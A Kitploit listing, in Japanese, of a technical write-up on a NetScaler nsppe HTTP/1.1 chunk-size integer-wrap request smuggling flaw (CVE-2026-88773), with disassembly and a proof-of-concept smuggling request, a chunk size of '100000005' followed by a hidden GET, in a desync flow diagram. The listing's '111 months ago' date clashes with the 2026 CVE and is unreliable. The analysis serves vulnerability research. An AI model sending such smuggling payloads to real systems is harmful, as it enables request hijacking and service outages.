Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-88773 — NetScaler nsppe の HTTP/1.1 チャンクサイズ整数ラップによるリクエストスマグリング脆弱性に関する技術分析。逆アセンブリ、ワイヤーレベルの PoC フロー、ファームウェアパッチの差分を含む。 | Kitploit
ツール/GitHubGitHub/scyrix-llc/cve-2026-88773
脆弱性分析エクスプロイトリバースエンジニアリングウェブアプリケーション悪用ウェブセキュリティバイナリ解析論文と研究ファームウェア解析
GitHubscyrix-llc/cve-2026-88773

CVE-2026-88773

NetScaler nsppe の HTTP/1.1 チャンクサイズ整数ラップによるリクエストスマグリング脆弱性に関する技術分析。逆アセンブリ、ワイヤーレベルの PoC フロー、ファームウェアパッチの差分を含む。

リポジトリを見る
111ヶ月前未レビュー
ウェブサイト

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-88773: NetScaler nsppe (HTTPスマグリング)

HTTP/1.1パーサーにおける32ビットチャンクサイズアキュムレータのラップアラウンド

TL;DR

nsppeのHTTP/1.1チャンクボディパーサーは、チャンクサイズフィールドを32ビットレジスタに読み込み、オーバーフローのチェックを一切行いません。16進数が9桁以上になると、値は静かにラップアラウンドします。100000005(2^32 + 5)は、チャンクサイズ5として消費されます。

これは一見おかしなパーサーバグにすぎませんが、NetScalerがボディをどう扱うかを思い出すと話が変わってきます。NetScalerはクライアントのチャンクフレーミングをそのままバックエンドへ転送しますが、リクエストの終端をどこにするかは自身のラップアラウンドした値で判断します。つまりプロキシは、ボディの5バイト後にリクエスト#1が完了したと信じる一方、同じバイト列を正しく読むバックエンドは4,294,967,301と計算し、決して到着しない4 GBのボディを待ち続けることになります。2台のマシン、1つのバイトストリーム、リクエストの終端位置に関する2つの異なる見解。

NetScalerの考える「終端」より後にあるものはすべて、同じクライアント接続上の新しいパイプライン化されたリクエストとして再分類され、共有されたプロキシ-バックエンド間接続上で独立して転送されます。

結果がどうなるかは、バックエンド自身のパーサー次第です:

  • バックエンドも32ビットに切り詰める場合: スマグリングされたバイト列が独立したリクエストとして実行されます。古典的なプレフィックスハイジャックです。
  • バックエンドが正しくパースする場合: ハードデシンクが発生し、決して到着しない4 GBのボディで接続がスタックします。コネクションプール枯渇によるDoSです。

認証不要のリクエスト1つ。デフォルト設定。HTTP vserverに到達できる以外の前提条件はありません。


根本原因

チャンクサイズの16進数パーサー

パーサーの役割は単純です。1a3f\r\nのようなチャンクサイズ行を数値に変換します。rdiのバッファとesiのその長さを受け取り、16進数の値を*rdxの32ビットスロットに累積し(入出力兼用なので、サイズが2つのパケットに分割されても問題なく再開できます)、空白をスキップし、末尾の\r\nを要求します。戻り値は消費したバイト数、0は「データ不足」、-1は不正な形式を意味します。

ループ全体は、バグを肉眼で確認できるほど小さいものです:

20af5e0: movzx  eax, BYTE PTR [rbx]
20af5e3: test   BYTE PTR [rax+rax*1+0x2746c80], 0x10   ; ctype: hex digit?
20af5eb: je     20af60b
20af5ed: mov    ecx, r11d
20af5f0: shl    ecx, 0x4                               ; value <<= 4
20af5f3: movzx  r11d, BYTE PTR [rax+0x2746b80]         ; hexval(digit)
20af5fb: add    r11d, ecx                              ; value = value*16 + d
20af5fe: inc    rbx
20af601: dec    r8d
20af604: jne    20af5e0                                ; next digit

r11d はアキュムレータであり、32 ビット幅です。各桁は value <<= 4; value += digit を実行します。桁カウンタも、桁数上限も、オーバーフローチェックも、ループ内の jo も一切ありません。9 桁目でエラーになることはなく、数値の上位ビットがレジスタの端からはみ出して消えますが、誰も気づきません。0x100000005 & 0xffffffff = 5 となり、パーサーはこれに完全に満足してしまいます。

唯一の健全性チェックが誤った半分を拒否する

下流には健全性チェックがちょうど 1 つだけ存在し、それがほとんど詩的なまでに間違っています。デチャンクドライバ(sub_20af6b0、呼び出し箇所 0x20af719 / 0x20af9fb、サイズは [r12+0x344] に格納)は、累積値に対して符号テストを適用します。少し考えてみてください。捕捉されるラップは、負の半分 [0x80000000, 0xffffffff] に着地するものだけです。ラップしたサイズの下位 32 ビットが 0x80000000 未満になる場合、それは完全に正常なチャンクサイズとして素通りします。0x100000005 が 5 にラップするのは典型的なケースであり、ラップされ、見逃され、そして壊滅的な結果をもたらします。


なぜスマグルになるのか

このパケットがスマグルになるのは、NetScaler がボディを扱う際の 1 つの設計判断によるものです。NetScaler はクライアントのチャンクフレーミングをバイト単位でそのままバックエンドに転送する一方で、クライアントのリクエストがどこで終わるかを決める際には、自身の(ラップした)フレーミング解釈を使用します。

その結果、NetScaler はリクエスト #1 をボディ 5 バイトで終了させ、残りの 37 バイトを 2 番目のパイプライン化されたリクエストとしてキューに入れます。一方バックエンドは、算術を正しく行い、100000005 を 4,294,967,301 と解釈して、リクエスト #1 のボディを待ち続けます。この時点から、両方のマシンは同じストリームを読みながら、異なる世界に生きていることになります。

どちらの世界に陥るかはバックエンド次第です。

フロー A: 正しい 64 ビットバックエンド。デシンクの膠着。

Attacker                           NetScaler (<=73.30)                            Backend (RFC 64-bit)
   |                                        |                                               |
   |  [1] one TCP segment, 122 bytes:       |                                               |
   |    POST /wrap HTTP/1.1                 |                                               |
   |    Host: poc                           |                                               |
   |    Transfer-Encoding: chunked          |                                               |
   |    100000005\r\nAAAAA\r\n0\r\n\r\n     |                                               |
   |    GET /SMUGGLED HTTP/1.1              |                                               |
   |    Host: poc\r\n\r\n                   |                                               |
   |--[1]---------------------------------->|                                               |
   |                                        | [2] parses "100000005" into a u32             |
   |                                        |     wraps to 5; consumes AAAAA;               |
   |                                        |     sees terminating 0-chunk                  |
   |                                        |     ==> request #1 COMPLETE                   |
   |                                        |     trailing 37 bytes held as a               |
   |                                        |     pending pipelined request #2              |
   |                                        |                                               |
   |                                        |--[3] 85 bytes, framing VERBATIM-------------->|
   |                                        |   POST /wrap HTTP/1.1                         |
   |                                        |   Transfer-Encoding: chunked                  |
   |                                        |   100000005\r\nAAAAA\r\n0\r\n\r\n             |
   |                                        |                                               |
   |                                        |                                               | [4] parses 0x100000005 (64-bit)
   |                                        |                                               |     = 4,294,967,301 bytes
   |                                        |                                               |     waiting for a body that never co
   |                                        |                                               |     [WEDGED: no response, ever]
   |                                        |                                               |
   |                                        | GET /SMUGGLED waits in NetScaler's            |
   |                                        | pipeline queue forever: response #1           |
   |                                        | never arrives                                 |
   |                                        |                                               |

フローB: NetScalerのように32ビットに切り捨てるバックエンド。完了したスマグル。

ツールをダウンロード